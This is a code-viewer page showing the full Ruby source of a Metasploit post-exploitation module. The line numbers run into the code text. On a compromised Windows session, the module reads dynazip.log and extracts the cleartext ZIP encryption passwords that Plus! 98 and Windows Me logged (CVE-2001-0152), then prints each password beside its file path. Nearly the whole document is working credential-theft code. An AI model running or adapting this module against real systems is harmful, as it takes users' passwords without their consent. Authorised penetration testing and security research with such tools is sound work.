Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/dynazip_log.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather DynaZIP Saved Password Extraction',14'Description' => %q{15This module extracts clear text credentials from dynazip.log.16The log file contains passwords used to encrypt compressed zip17files in Microsoft Plus! 98 and Windows Me.18},19'License' => MSF_LICENSE,20'Author' => ['bcoles'],21'References' => [22['CVE', '2001-0152'],23['MSB', 'MS01-019'],24['PACKETSTORM', '24543'],25['URL', 'https://support.microsoft.com/en-us/kb/265131']26],27'DisclosureDate' => '2001-03-27',28'Platform' => ['win'],29'SessionTypes' => ['meterpreter', 'shell']30)31)32end3334def run35creds = []3637log_path = "#{get_env('%WINDIR%')}\\dynazip.log"3839unless file?(log_path)40print_error("#{log_path} not found")41return42end4344print_good("Found DynaZip log file: #{log_path}")4546begin47log_data = read_file(log_path)48rescue EOFError49print_error('Log file is empty')50return51end5253vprint_status("Processing log file (#{log_data.length} bytes)")5455log_data.split('- DynaZIP ZIP Diagnostic Log -').each do |log|56if log =~ /^lpszZIPFile: 0x[0-9a-f]+\s*?^(.+)\r\n/57zip_path = ::Regexp.last_match(1)58else59next60end6162vprint_status("Processing log entry for #{zip_path}")6364# The lpszEncryptCode appears to always be 0x712185d4 however65# we use a hex regex pattern, just in case.66# The line following the lpszEncryptCode contains the password.67passwd = log.scan(/^lpszEncryptCode: 0x[0-9a-f]+\s*?^(.+)?\r\n/).flatten.first6869# In the event that the user selected a blank encryption password70# the ZIP file is not encrypted, however an empty line is written71# to the log file.72if passwd.to_s.eql?('')73vprint_status('Did not find a password')74next75end7677print_good("File: '#{zip_path}' -- Password: '#{passwd}'")78creds << [zip_path, passwd]79end8081if creds.empty?82print_error('No passwords were found in the log file')83return84end8586table = Rex::Text::Table.new(87'Header' => 'ZIP Passwords',88'Indent' => 0,89'SortIndex' => 0,90'Columns' => ['File Path', 'Password']91)92creds.each { |c| table << c }93print_line94print_line(table.to_s)95end96end979899